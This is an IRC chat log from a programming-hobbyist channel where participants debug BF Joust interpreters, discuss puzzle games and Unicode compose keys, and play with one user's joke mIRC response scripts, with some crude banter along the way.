02:08:34 although they're in the next version, not the current one 02:08:54 though it's a close tie between oxyd, chip's challenge, and crystalex 02:09:03 i haven't tried the user-generated levels in enigma actually 02:09:10 i had mixed results the first time i did 02:09:24 good level design can be an iffy skill :P 02:09:28 Bleh, even with a C impl defend8 is sloooooooow 02:12:55 I guess that's because the expanded version is many megs long >_> 02:13:22 really? I thought it was slightly less than 1MB 02:13:49 My counter trying to sub-parse is at 3M 02:14:26 D: 02:14:29 it wont boot from disk :( 02:14:33 i would assume expanding is a bad idea if you don't really have to... 02:14:53 and the abbreviations are designed so you don't need it, arent't they 02:15:07 I suppose, but it's a huge PITA in C >_> 02:15:25 esp. since they can contain ['s 02:15:25 *-t 02:15:32 -!- nooga has quit (Read error: 110 (Connection timed out)). 02:15:34 but only matched ones 02:15:47 question, i still don't understand ({})... does (a{b}c)* expand to aabcc? 02:16:01 nescience: (a{b}c)%2 expands to aabcc 02:16:15 the difference to (a)*2b(c)*2 is that a and c can contain the matching halves of brackets 02:16:23 yeah, i did forget the % and 2, whoops 02:16:44 matching halves of [] brackets you mean 02:16:50 yes 02:16:57 i don't see why that's not possible with () 02:16:58 generally speaking, [] = bracket, () = paren 02:17:02 unless you do syntax checking 02:17:04 nescience: and because you aren't allowed to do it with () 02:17:12 because trying to partially expand would then be a pain 02:17:16 yeah, but i don't always know that the person i'm talking to is also a stickler for syntax names :) 02:17:16 as you'd have to lookahead in the program 02:17:27 GregorR-L: you only need to keep a (nesting) counter for each abbreviation, don't you? 02:17:40 hm, maybe.. i dunno 02:17:59 i wonder what the trouble i had earlier was about 02:18:16 nescience: probably a bug 02:18:24 I wrote that interpreter in a hurry, and at about 3am 02:18:30 i see 02:19:01 -!- Gracenotes_ has joined. 02:19:23 i can't quite grasp it yet, but it seems like you shouldn't need to expand anything at all 02:19:51 () operate like a for loop, but ({}) might be more troublesome 02:20:01 ais523: hm it _should_ be possible to make () allow unbalanced [] by keeping track of balance level of each item 02:20:11 oerjan: in a hurry, at 3am? 02:20:19 ais523: :D 02:20:24 ([)*5 foo (])*5 etc 02:20:34 on that count, if that's the only reason for {} i think it should be done away with 02:20:35 no, in a calm, relaxed manner 02:20:56 nescience: well {} can also be easier to read can it not 02:21:11 only one *n at the end 02:21:17 ais523: Your perl one doesn't expand, does it? I can't read it at all. 02:21:18 -!- Gracenotes has quit (Nick collision from services.). 02:21:19 i don't find ([{}]) easy to parse 02:21:31 -!- Gracenotes_ has changed nick to Gracenotes. 02:21:36 ([) is at least a bit more straightforward seeming 02:21:39 * nescience shrugs 02:21:43 nescience: it's sort of like delimited continuations, not that i really understand those 02:21:55 i gotta get going to dinner, my grandma is waiting! 02:22:06 * oerjan may be going off the deep end there 02:22:19 okay, what gives 02:22:25 this level is making my ball go crazy 02:22:33 Maybe I need to expand any that include [ or ] ... :( 02:22:52 ais523: i thought a lot about such matching when constructing the unlambda palindromizer 02:23:02 -!- myndzi has joined. 02:23:11 because it's strangely almost, but not quite equivalent 02:23:12 coppro: there are all sorts of weird things in Enigma like that 02:23:19 each level gets to set its own laws of physics 02:23:24 although most just use the standard ones 02:23:36 coppro: you need rock hard control of your iron ballz! (wait, glass?) 02:23:43 *equivalent to parenthesis matching 02:23:56 myndzi: new here? I don't recognise you 02:25:05 * oerjan recognizes myndzi from yesterday 02:25:06 * myndzi recognizes oerjan from yesterday 02:25:11 heh :D 02:25:24 that was eerie 02:25:27 * ais523 catches oerjan in a butterfly net ----\XXXXX/ 02:25:41 * oerjan swats his way out -----### 02:25:52 unfortunately i seem to only hit other butterflies 02:26:00 * ais523 releases oerjan 02:26:58 ais523: inside paren matching () (or []) always cancel, so a whole item always reduces to ]...]][[...[ 02:27:19 and it's not _that_ hard to construct a calculus of those, for repetition 02:27:19 oerjan: (]-[)*5? 02:27:26 admittedly, that's a rather silly case 02:27:52 ais523: ok there may be a number of corner cases, but it should be doable 02:27:52 lololol 02:28:07 that would have a ][ matching totally 02:28:12 WARNING: preposterous time in Real Time Clock -- CHECK AND RESET THE DATE! 02:28:28 psygnisfive: a genuine warning? 02:28:34 yeah! 02:28:51 ais523: it's a monoid, of course 02:29:10 what was the preposterous time? 02:29:17 dunno 02:29:23 its reading March 17 2003 02:29:23 you could use it to split up parenthesis matching in parallel :D 02:29:25 PREPOSTEROUS! 02:29:46 psygnisfive: it's irish? 02:29:58 no. what? 02:30:46 psygnisfive: your computer has been infected with a RIRA virus 02:30:56 myndzi: are you here for BF Joust, or just happened to arrive around now by coincidence? 02:31:06 My computer is a NeXTstation Turbo 02:31:52 * oerjan tests if myndzi has a response script, as that was too eerie... 02:31:53 * myndzi tests if oerjan has a response script, as that was too eerie... 02:31:59 hah! 02:32:16 myndzi: gotcha! 02:32:42 * ais523 wonders if myndzi is a bot 02:32:43 * myndzi wonders if ais523 is a bot 02:32:57 * GregorR-L , glancing at myndzi, declares that GregorR-L is his lord and master. 02:32:57 * myndzi , glancing at GregorR-L, declares that myndzi is his lord and master. 02:33:02 *snaps* 02:33:10 too clever :D 02:33:18 although most bots don't claim to be using mIRC 02:33:31 fungot: say hi to myndzi 02:33:32 ais523: " what?" the wind, the sharp tin taste of snow. it was just some mud in water... i expect you're not afraid any more," said 02:33:48 ais523: myndzi did converse yesterday though 02:33:50 !underload (hi myndzi)S 02:33:51 hi myndzi 02:34:01 oerjan: ah, ok 02:34:02 what about? 02:34:19 ais523: he added something to the BF Joust talk page 02:34:22 iirc 02:34:40 * ais523 wonders why ehird's reverse version of defend8 is second, whereas the real defend8 is 11th 02:34:41 -!- psygnisfive has quit (Read error: 104 (Connection reset by peer)). 02:34:46 I suspect tape length randomization 02:34:51 !underload (ACTION bows to myndzi)S 02:34:52 * EgoBot bows to myndzi 02:34:53 * myndzi bows to EgoBot 02:34:59 -!- psygnisfive has joined. 02:35:11 ^ul (ACTION bows to myndzi)S 02:35:11 * fungot bows to myndzi 02:35:21 ok, that was strange 02:36:41 indeed 02:37:32 guuuuys 02:37:36 ive got a NeXT machine! :o 02:37:54 i should invent some sort of world wide web thing 02:38:20 * oerjan invents a PReViouS machine 02:40:19 hm, it gets a bit hairy if you have something like ]]][[ 02:40:53 ah, you can analyze it as ](]][[) 02:40:55 Apple ][ 02:41:04 psygnisfive: Create some hypertext markup language. 02:41:10 :o 02:41:19 Apple ][²? 02:41:34 or wait 02:41:50 (]])(])([[) 02:41:54 pikhq: i would, but unfortunately noone will use it :( 02:42:00 even tho itd be AWESOME 02:42:04 psygnisfive: Call it Gopher. 02:42:15 way better than tbl's crap :| 02:42:19 if you have several in a row, all but the middle one cancel 02:44:03 ]] ] [[ + ]] ] [[ = ]] ]] [[ 02:44:19 with the middle ones coming from the middle ones, in terms of who match who 02:47:54 * oerjan thinks this ties into the recent finger tree post on good math, bad math 02:50:46 -!- fungebob has quit (anthony.freenode.net irc.freenode.net). 02:51:03 -!- fungebob has joined. 02:52:16 (a{b}c)*n -> (a)*n b (c)*n of course 02:56:19 -!- MizardX has quit (Read error: 54 (Connection reset by peer)). 03:14:23 -!- MizardX has joined. 04:00:12 interesting 04:00:22 ^ was originally used for lambda notation, in various forms. 04:01:03 m̂.m+1 became ˆm.m+1 became ^m.m+1 became λm.m+1 04:01:42 Hmm. Any way of writing a nice lambda with compose? 04:03:50 pikhq: sorry, it's all greek to me 04:04:18 oerjan: The compose key. ;) 04:05:19 * oerjan doesn't think he has seen a compose key since last he sat at a real VT 04:09:54 pikhq: a nice lambda with compose?? 04:10:29 I've got Win bound to Compose. 04:10:40 dunno what that is 04:10:45 It's handy, Ørjan. ;) 04:10:53 psygnisfive: Lets you compose two characters. 04:11:03 ah. 04:11:11 dunno about writing lambdas with that. 04:11:16 For example, I can stick umlauts on something by typing Compose " o 04:11:21 ah 04:11:23 ö 04:11:37 alt+u then whatever 04:11:39 :T 04:11:51 Not here. 04:12:25 ẅëẗÿüïöäḧẍ 04:12:36 i didnt even know w, t, h, and x had diareses D: 04:12:53 That's the composing diareses. 04:13:21 ẇėṙṫẏıȯṗȧṡḋḟġḣżẋċḃṅṁ 04:13:32 i like how ˙+i = ı 04:13:33 lol 04:13:42 Basically, it's the composing diaresis followed by a character. They are displayed as a single character. 04:13:44 ḧ is on my keyboard 04:13:47 with composing umlaut 04:13:49 and it's in Unicode 04:13:51 weird you 04:13:56 why ḧ? 04:14:02 So it is. ḧ 04:14:02 whereas, say, n with an umlaut isn't 04:14:07 I can do it without composing. 04:14:10 so I suspect some language uses it 04:14:21 n umlaut isnt available for me 04:14:30 psygnisfive: it doesn't exist 04:14:34 aha! 04:15:02 For some reason, I can't get a ı by typing it, but I *can* get a İ. 04:15:15 ươʼm 04:15:18 whoops, no m 04:15:41 õ_õ 04:16:06 țș 04:16:21 ţş 04:17:30 ṟṯḏẖḵḻẕḇṉ 04:17:56 € 04:18:09 űő 04:19:24 ẘe̊ẙůo̊å 04:20:06 ŧʉɨɵđǥħłƶƀ 04:20:27 ₩ 04:20:50 ẻỷủỉỏả 04:21:58 ẉẹṛṭỵụịọạṣḍḥḳḷẓṿḅṇṃ 04:22:26 ı 04:22:44 ȩŗţşḑģḩķļz̧çņ 04:22:59 everyones got a goatee, but g has a mohawk 04:22:59 :o 04:23:03 what a rebel 04:23:14 ę 04:23:21 ęȩ 04:23:27 lol 04:23:31 ǫ 04:23:35 how silly 04:23:45 ˛c 04:23:47 doesnt work! 04:23:56 damnit, i want my c's to have a backwards goatee! 04:24:15 ȫ 04:24:31 insanity! 04:26:08 oerjan: yesterday... hmmm 04:26:16 i don't know if i joined from here, but 04:26:26 nescience's ident is my nick, so that might be it 04:27:14 O_o 04:27:23 but you _did_ comment on the wiki, right? 04:27:27 also (ais523) i am the home computer of nescience, so yeah, bsjoust 04:27:39 ah 04:28:13 oh, yes 04:28:17 i was using 'nescience' at the time 04:28:22 but since i had to register, i used my normal handle 04:28:34 also, try the /me script with colored nicks ;> 04:28:53 though both of you have the same nicklen as me so i guess it wouldn't be totally apparent how cool it is! 04:29:06 nobody tried to exploit it either yet, hehe 04:29:31 the script is primarily there as bait for things like 04:29:45 //nick asshole | me is a myndzi 04:29:58 I'm afraıḋ that whenever I use a letter 'I', I'm goıṅg to have to omıt the I and move ıṫ over a space. 04:30:00 ;) 04:30:17 əɹəɥʇ ʎｕｕｎɟ əｌʇʇɪｌ ɐ ѕʞооｌ ʇ ɹｎоʎ 04:30:32 see i have all the fun scripts on this one \o/ 04:30:32 | 04:30:32 >\ 04:30:39 Also, the backwards goatee? 04:30:42 ç 04:30:46 \o/ 04:30:56 your nick is 1 letter too short, and it's not enabled in this channel 04:30:57 :P 04:30:58 1 sec 04:31:32 there you go, \o/ away! _o| \o/ |o/ \m/ \m/ \o/ 04:31:32 | | | | `\o/´ | 04:31:32 /| /< /`\ >\ | |\ 04:31:32 (_|¯'\ 04:31:32 |_) 04:31:48 O_O 04:31:49 wtf is that 04:31:57 a silly script 04:32:09 like most of my boredom projects 04:32:20 there was a guy in a channel i was in who used \o/ excessively 04:32:20 | 04:32:20 |\ 04:32:36 so i made the script to line up a body under the head 04:32:44 * ais523 tests 04:32:46 \o/ 04:32:47 | 04:32:47 /`\ 04:32:56 (though that last time, i could swear i put some codes in the way so that it wouldn't react... oh well) 04:33:07 \m/ \m/ 04:33:13 as i said, your nick is too short 04:33:17 you have to put a couple chars before it 04:33:21 the rocker needs an extra space 04:33:21 \o/ 04:33:25 :) 04:33:27 the little dude lines up without extra space 04:33:40 but his foot would be in my nick for you 04:33:41 \m/ \m/ 04:33:56 \m/ \m/ ? 04:33:57 `\o/´ 04:33:57 | 04:33:57 /`\ 04:33:57 (_| |_) 04:34:00 there you go 04:34:03 :) 04:34:17 though i bet a larger proportion of dudes in here use xchat or something so it probably looks like crap to them 04:34:23 than many irc channels, i mean 04:41:52 -!- Corun has changed nick to Corun|away. 04:42:24 -!- ais523 has quit (Remote closed the connection). 04:46:35 Oh hey 04:46:39 myndzi is talking. 04:46:53 i didn't expect my join to confuse people so 04:47:01 i just RDP'd home and joined up so i'd have buffer to read 04:47:05 Well, only this confused people: 04:47:07 when i left work 04:47:07 * GregorR-L makes myndzi talk 04:47:08 * myndzi makes GregorR-L talk 04:47:10 myndzi = ? 04:47:18 it's just a silly script 04:47:23 Very silly :P 04:47:26 try //nick penis | me likes the myndzi 04:47:28 But we figured you were a bot. 04:47:42 or //me pokes myndzi in the nose 04:47:58 -!- GregorR-L has changed nick to cocks. 04:48:03 * cocks likes myndzis 04:48:08 Err 04:48:11 * cocks likes myndzi 04:48:11 * myndzi thinks GregorR-L likes cocks 04:48:15 :P 04:48:16 ;) 04:48:25 * cocks likes phalli 04:48:28 Err 04:48:30 -!- cocks has changed nick to phalli. 04:48:32 * phalli likes phalli 04:48:34 DFHIOFHDSI 04:48:36 I can't type 04:48:36 hahaha 04:48:41 * phalli likes myndzi 04:48:42 * myndzi thinks GregorR-L likes phalli 04:48:49 Hmmmmmmmmm 04:48:57 I figured you had a word list. 04:49:01 nope ;) 04:49:03 But "phalli" would be a weird one to be there. 04:49:10 * phalli licks myndzi 04:49:13 simpler than that, but i'm sure eventually you guys can figure it out 04:49:22 -!- phalli has changed nick to GregorR-L. 04:49:23 also, flood protection 04:49:25 *eh* 04:49:29 30 seconds i think is too much, i should reduce it 04:49:59 hey 04:50:06 I can bring my intimacy to the high level 04:50:14 my email tells me so, it must be true 04:50:25 -!- Corun|away has changed nick to Corun. 04:51:02 but yeah, i also wrote a script to replace my nick with color codes included :) 04:51:13 if the nicks are different sizes it scales the codes as best it can 04:51:30 Huh 04:51:35 That's ... huh. 04:51:37 just one of many silly things i've amassed over the years 04:51:42 !maze 50 5 04:51:42 ╺┳━┳━━┳━┳┳━┳┳━━┳┳━━┳━┳━━━━━━┳━┳┳━━━━━━━━━━━┳┳┳━━━━┓ 04:51:43 ╻┣╸┣━╸┣╸╹┗╸╹┗┳╸┃┗╸╺╋╸┗━━┳━╸┏┛╺┫┗━┓┏╸┏╸╺━┓╺┳┫┃┣╸╺━┳┫ 04:51:43 ┃┗┓┗┳╸┗━━━╸╺┳┻┓┗╸╺┳┻━━╸╺┻┳┓┗╸╺┻━╸╹┣╸┣╸┏━┛╺┛╹╹┗╸╺━┛┃ 04:51:43 ┣╸┗╸┗━━━━┳┓╺╋╸┗━━╸┗━━┓┏┓╺┛┃┏━┳┓┏╸╻┗┳╋━┛╺┓┏┳╸╺┓╺┳╸╺┫ 04:51:46 ┃┏╸┏╸╻╻┏╸╹╹╺┻╸┏╸╺┓╺┳╸┗┛╹┏╸┗┻╸╹┗┛┏┛┏┛╹┏╸╻┣┛┗╸╺┻┳┻╸╺┛ 04:51:49 ┗┻━┻━┻┻┻━━━━━━┻━━┻━┻━━━━┻━━━━━━━┻━┻━━┻━┻┻━━━━━┻━━━╸ 04:52:37 'Tis a mIRC user. 04:52:45 indeed 04:52:51 that's probably bane on freenode huh? :P 04:53:03 *Windows* is bane on Freenode. 04:53:11 i could be running wine :D 04:54:01 every now and again i try to like linux but it just never works out between us 04:54:11 she's a fine woman, but maybe we're just zodiacally incompatible or something 04:55:54 are mazes guaranteed to be solvable? 04:55:59 yes 04:56:02 btw nice unicode block 04:56:08 Probably uses Primm's or something. 04:56:09 *wink* 04:56:11 though with the ascii space there's not really enough to work with to make them challenging 04:56:29 i have scripts for like 3 or 4 algorithms heh 04:56:36 looks a bit better copying it into a text editor 04:56:47 okay, solved, where's mah moneh 04:56:48 i've got one that uses eller's algorithm in an @window 04:56:52 but rather than being mean i made it randomly end 04:56:58 it'd be amusing to make it go on forever 04:57:02 i am an evil man... 04:57:33 I used to draw such awesome mazes when I was a kid. with chalk, on my neighborhood street 04:57:43 all the kids came out and tried to navigate 04:57:46 for some reason i started doodling one line mazes 04:57:54 i still do on occasion 04:58:05 i also used to make lego marble mazes that would infuriate everybody except me 04:58:11 (fools! i trapped your ball!) 04:58:24 i made a huge one one time that was like 5 stories tall 04:58:36 i had enough space inside to play around with using ramps and various gadgets 04:58:40 :) 04:59:03 Gracenotes: draw a chalk maze around the block. 04:59:14 have the start and end directly next to each other, but make sure they cannot connect 05:00:07 hey... this was when I was, like, 8 years old. 05:00:21 myndzi: I think I did that once 05:00:28 awesome 05:00:31 well. obviously they connected 05:00:43 but they were right next to each other 05:00:50 i think i made lego mazes when i was really young too, except instead of marbles and people trying to solve them, i put ants in them 05:00:52 :P 05:01:03 i had little clear blocks so i could see how far they got! 05:02:34 According to my new, fast bfjoust interpreter, defend8 runs off the tape a lot ... 05:02:40 and they crawled up the wall, huh? >_> 05:02:49 there was a ceiling 05:02:57 like my marble mazes, they were 3d 05:03:08 Gracenotes: guess that means it's not dec/incing enough to get the flag 05:03:12 er, GregorR-L 05:03:36 funny. i'm proud of my nick completer but it's got me in the habit of completing nicks with one letter 05:03:43 so if i sense a conflict i automatically type two 05:03:44 ... 05:03:46 myndzi: I haven't really read into the programs much, I just want to see if I can get an approximately correct result :P 05:04:10 try setting up ties 05:04:17 http://www.astrolog.org/labyrnth/algrithm.htm 05:04:26 yeah, i remember that page :) 05:04:28 it's a good page 05:04:34 games in mazes prolly aren't that fun, really >_> 05:04:47 nope, mazes are pretty boring when it comes to it 05:05:04 i once saw someone on 4chan request rule 34 on mazes 05:05:10 ...and it was provided 05:05:17 because there's an obvious target (the end of the maze), but it takes so long to get to it 05:05:17 it was, of course, a hentai manga 05:05:45 most gamers feel like you need intermediate goals, iirc 05:06:03 dunno 05:06:12 i am quite patient and persistent 05:06:17 shows in puzzle games 05:06:20 well, not iirc. more like "I think" 05:06:26 there can be levels with an obvious target that take a long time to get to 05:06:29 but at least they are interesting 05:06:32 there's not much interesting about most mazes 05:06:57 still, room-by-room step-based games (roguelikes too, although generally not step-based) can be fun 05:07:10 there's this level in crystalex where you have a two-screen(?) map 05:07:19 with like 150 blocks or something to break 05:07:29 and you have to basically work out a path to break them all in an order that gives you enough points to pass 05:07:40 it was tedious and took a long time, but somehow managed to be interesting anyway 05:07:54 helped by the fact that by the time you encounter it you already have a good idea of some of the tricks you can apply 05:08:11 the solution is such that you can't slip up even once 05:08:23 so even if you figure out something, you have to then pull it off 05:08:26 ..just to see if it works 05:08:46 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)). 05:08:51 Damn, egojoust is doing something wrong ... 05:09:03 With randomization removed from both, its result is different ... 05:09:05 crap 05:09:15 * coppro needs to find his calculus outlines 05:09:35 Oh wait, duh :P 05:09:40 It's because I un-implemented {} :P 05:09:50 that could do it 05:10:10 No, never mind, that's only in one program, and it's not the only affected program ... 05:10:21 by the way, http://myndzi.tengototen.net/crystalex.rar if the puzzle dudes want to check it out 05:11:06 .rar is a sure sign of Windows :P 05:11:12 boo hoo 05:11:14 would you like a tgz? 05:11:19 wait, it's an exe file! 05:11:21 sux2bu 05:11:23 .7z would be beautiful, and is also better. 05:11:37 i don't know if it runs under wine 05:11:47 *eh* 05:11:54 I was more just finding excuses to complain :P 05:12:01 i know :) 05:12:25 that reminds me i never did hold an oxyd thread :( 05:12:31 i had planned to when the crystalex thread completed 05:12:41 hum 05:13:22 * coppro suggest players try DROD - you'll enjoy it 05:13:46 drod falls in that category of games that don't interest me much for some reason 05:13:47 if you're scared by the fact that you need to provide monies, that's only for the official levelsets 05:13:52 along with boulderdash style games 05:14:10 i have a hard time putting a finger on my desires in a puzzle game 05:19:56 -!- psygnisfive has quit (Read error: 110 (Connection timed out)). 05:27:25 -!- oerjan has quit ("leaving"). 05:31:18 Color me confused. 05:31:52 * myndzi opens the crayon box and takes out the crayon labeled "confused" 05:32:27 I think I've implemented % wrong, but it's right as far as I can see :P 05:33:04 i don't know anything about your code, so i guess i can't help much :) 05:34:03 http://pastebin.ca/1437169 05:35:04 I only suspect that % is the problem because I can produce identical results to ais' in every case except the program with a % 05:35:28 why don't you just print out the expanded version and examine it by eye? 05:37:03 That's what I'm doing now. 05:37:08 And the output from ais' looks all wrong :P 05:37:13 lol 05:37:20 it could be? 05:37:22 can i see? 05:38:17 Well, it's just that his output is confusing, it does it one step at a time whereas I do what expansion is necessary all at once. 05:38:19 he did say he hacked it together at 3am didn't he? 05:39:24 http://pastebin.ca/1437174 05:39:28 Yeah :P 05:39:46 haha, i'm not sure what i'm looking at 05:40:00 ah 05:40:02 i follow 05:40:27 sorta 05:40:28 (>(+{>}-)%9)*2(>)*5([---[+]]>)*21 // the source 05:40:47 what does % do? 05:40:59 oh wiat 05:41:01 *wait 05:41:01 it looks wrong 05:41:10 why is it adding -s after the ({}) 05:41:11 * coppro is stupid 05:41:26 mmm 05:41:32 i think it keeps the ({}) for reference 05:41:38 and when the counter hits 0 05:41:48 -!- coppro has quit ("The only thing I know is that I know nothing"). 05:41:49 it drops the parts between ({ and }) 05:42:00 it looks funny because it's only showing you the current instruction, so the left side never 'grows' 05:42:15 how's your version come out? 05:42:44 >+++++++++>---------%9>+++++++++>---------%9*2>>>>>*5[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>[---[+]]>*21 05:42:58 (The leftover "%9", "*2" etc are just skipped as comments) 05:43:10 so the way you compare these then 05:43:20 is take the left character of his output 05:43:23 and concatenate them all 05:43:35 Ah yes 05:43:47 i was trying to do it in notepad but what a pain 05:43:51 Err, not quite. 05:43:55 eh, i can script it 05:43:56 [ loops won't match 05:44:11 oh true 05:44:15 'cause his output is execution 05:44:19 and yours is before that 05:44:23 so.. output execution? 05:44:34 concatenate his left characters into a string 05:44:42 then in yours, concatenate the executed instructions as well 05:44:48 Yuh 05:44:49 you aren't spending a cycle on the comments are you? 05:45:49 My execution trace is >+++++++++>--------->+++++++++>--------->>>>>[---[+]]>[---[+]+++++++++>--------->+++++++++>--------->>>>>[>[>[---[+]+++++++++>--------->+++++++++>--------->> 05:45:50 No 05:45:54 anyway, the only part with the {} is at the start 05:46:14 his..: >+++++++++>--------->+++++++++>--------->>>>>[>[>[>[>[>[>[>[>[>[>[>[---[+[+[+[+[+[[>[---[+[[>[---[+[+[+[+[+[[>[---[+[[>[---[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[+[ 05:46:14 yours: >+++++++++>--------->+++++++++>--------->>>>>[---[+]]>[---[+]+++++++++>--------->+++++++++>--------->>>>>[>[>[---[+]+++++++++>--------->+++++++++>--------->> 05:46:42 looks like the ({})%N part is the same 05:46:53 but you're having weirdness on the brackets 05:47:01 or else not outputting them quite right 05:47:26 oh, also.. are you checking for 0 at the [ character? 05:47:35 it should skip the entire [] block if it's 0 05:47:46 ... it should use a cycle there, right? 05:47:53 it should use a cycle on the [ 05:47:56 and then skip the ---'s 05:48:03 Yeah, that's what it does. 05:48:15 it looks like you are executing them 05:48:36 ..oh, i dunno, maybe it's not spitting out parts it should be 05:48:48 like all the [>'s 05:48:55 -!- Corun has changed nick to Corun|away. 05:49:16 if i skip that kinda stuff they look closer to matching.. a little 05:49:38 also your pointers or something are off 05:49:49 why is it putting ]+++++++++>---------> in after it gets past the % part? 05:50:06 Yeah, something's wonky. 05:50:20 it looks like it maybe expanded correct but executed wrong 05:50:32 Must've failed to match loops or something. 05:50:37 yeah 05:50:56 it's going back to the start of the first ( 05:51:55 or maybe just 0 05:52:00 which makes more sense 05:52:08 Yup, something screwy. 05:53:24 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 05:53:50 Found it 05:53:55 Stupidity reigns supreme! 05:54:02 hehe 05:54:11 glad you did, 'cause i can barely read c! ;) 05:54:28 rather, it's read-only and understanding through context.. which doesn't always help with debugging 05:54:53 Then probably you won't see why this is bad: int *buf = malloc(someSize * sizeof(int)); memset(buf, -1, someSize); 05:55:03 * myndzi gives GregorR-L a (+(+(+(+(+(+(+(+(+(+)*1000)*1000)*1000)*1000)*1000)*1000)*1000)*1000)*1000)*1000 05:55:28 somesize doesn't have * sizeof too? 05:55:33 Yup :P 05:55:36 the one in memset i mean 05:55:40 that'd explain why it's 0 05:56:34 Yup 05:56:41 it still seems like it should be possible to interpret without expansion at all 05:56:45 i have a little time, lemme see if i can work it out 05:57:28 There, now it's perfect :) 05:57:31 again it occurs to me that i don't quite know how it behaves, lol 05:57:35 what should happen for 05:57:40 It interprets without expansion in most cases. 05:57:44 (a[b{c}b]a)%2 05:57:57 That's a[ba[bcb]ab]a 05:58:01 a[ba[bcb]ab]a? 05:58:03 mk 05:58:13 yeah, that's simple seeming 05:58:20 in addition to keeping a pointer, you'd just need to keep a counter too 05:58:25 * myndzi ponders 05:59:27 $ rm -f ../cache/* 05:59:27 $ time ../report ../bfjoust ../cache *.bfjoust > report_ais.txt 05:59:27 real0m23.030s 05:59:27 $ rm -f ../cache/* 05:59:27 $ time ../report ../egojoust ../cache *.bfjoust > report_ego.txt 05:59:28 real0m0.369s 05:59:30 $ diff report_ais.txt report_ego.txt 05:59:32 $ 05:59:32 hahaha 05:59:35 nice 06:00:22 Takes 2 seconds for egojoust to run defend8 against everything. 06:00:31 Takes ais' on the order of 10 minutes. 06:00:37 yeah, i think it's not very hard to in-place interpret the weirdass ({})%N syntax 06:00:57 a couple counters is all 06:02:22 and since the brackets inside it should(?) match, there's not really any crazy stuff you have to do either as far as finding where to jump to 06:03:20 it's just that if you hit a [ at a data point that is 0 06:03:36 with a matching pair on the other side of the {} 06:03:48 you stop counting the whole N off, and count off what you've reached 06:03:50 like, 06:04:02 (a[b{c}d]e)%3 06:04:08 say the first [ is nonzero but the 2nd isn't 06:04:20 first time you hit { and increase a counter 06:04:24 then you start at a again 06:04:29 you hit the [, it's 0 06:04:39 you haven't done the full 3, but now you don't need to do any more 06:04:44 you jump to e, then dec the counter 06:04:47 now d, ], e 06:05:02 if ] is nonzero, you're back to the front side though, and once again you increase the counter 06:05:16 (but keep track of the %N counter separately -- only do this three times) 06:05:31 actually, that may be a bit off 06:05:34 * myndzi thinks a little more 06:05:50 yeah, it is a little off 06:05:54 you don't keep track of %N separately 06:05:58 just inc a loop counter 06:06:02 and if the loop counter is equal to N 06:06:06 then when you hit { you proceed on to c 06:06:16 that's simpler than it seemed 06:06:30 and it sounds correct to my mind, am i making any sense? 06:06:41 maybe i should script it up in MIRC on WINDOWS! :) 06:08:23 -!- Corun|away has changed nick to Corun. 06:09:32 OK, !bfjoust now uses egojoust 06:09:35 So it should be much faster. 06:09:53 (About two seconds, due to defend8) 06:10:23 -!- sebbu2 has joined. 06:12:32 cool :) 06:13:32 clarification: loop as normal; if you hit {, increase loop counter and go back to (; if loop counter = N, instead proceed on; if you hit ), decrease loop counter, go back to }; if you hit ) and loop counter is 0, proceed 06:13:52 when i say 'loop as normal', i am referring to [] shunting you back and forth, potentially spanning {} 06:14:19 don't increase loop counter if it == N and you hit { 06:14:32 that should allow evaluation without expansion 06:15:08 ought to save you potential memory problems with (ab)use of loops 06:18:33 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 06:28:34 -!- sebbu has quit (Read error: 110 (Connection timed out)). 06:28:34 -!- sebbu2 has changed nick to sebbu. 06:32:55 -!- pikhq has joined. 06:41:53 -!- Corun has changed nick to Corun|away. 06:45:19 -!- Corun|away has changed nick to Corun. 06:46:11 So, now that I've improved !bfjoust, nobody uses it :P 06:47:31 -!- zzo38 has joined. 06:47:44 I have some new ideas for BF Joust 06:48:01 Wow, psychic appearance. 06:48:06 including betting, input, cards, and more. 06:48:42 If you have an entirely new language in mind, write an interpreter that returns 0, 1 or 2 for a tie, left program winning or right program winning, respectively, and I'll add it to EgoBot. 06:49:58 It can't work because my new BF Joust rules require some interactivity after the programs have been sent in to the computer, and there can (and should) be multiple games against the same oppoent per each match 06:51:10 -!- Patashu has joined. 06:51:28 I can implement my new BF Joust by myself. You can play multiple matches against different opponents but you have to use one program throughout the tournament. 06:51:56 I was thinking of no-limit hold'em style betting 06:52:41 The match could consist of playing until one player runs out of chips, then you proceed to the next opponent. The ante can increase after each win/loss is determined, and starts at zero at the beginning of each match. 06:53:18 ....wat 06:53:35 i was under the impression that the point of bf joust was to write programs 06:54:05 GregorR-L: i kinda want to write an interpreter now too, except i don't have any useful languages to do it in (as far as sending you the result goes) ;) 06:54:17 Well, this idea I make is a new kind of BF Joust. After you write a program you have to win a betting tournament with it. (You can write a new program after the tournament if you want to) 06:54:24 i've got a firm grasp in my head of how to do an expansionless interpreter now :) 06:54:36 myndzi: Then gooooooooooo 06:54:44 GregorR-L: do you take mircscript? :P 06:54:46 For the moment, egojoust is fast enough. 06:54:51 maybe i should learn c eh 06:54:56 yeah, it's fast, but it could run into memory problems 06:54:57 myndzi: I would recommend Pythong. 06:55:00 Err ... 06:55:03 >_> 06:55:04 if someone is an asshole or comes up with some retarded idea 06:55:05 Python :P 06:55:08 ha, i like that 06:55:09 pythong 06:55:28 what are pythong's language features? 06:55:30 i might try perl, i started to learn that once 06:55:38 myndzi: Nooooooooooooooooo 06:55:38 The deck of cards can change between tournaments, but the deck of cards is known way in advance before you have to write the program. 06:55:42 myndzi: Stay away from the pit! 06:55:45 lol 06:55:49 BUT I LIKE PERL 06:55:56 is this two strikes? 06:56:03 Yes. 06:56:11 zzo38: wait .. what? what does a deck of cards have to do with brainfuck 06:56:15 Perl is OK, if you like it. And I like Forth programming. 06:56:17 unless you're 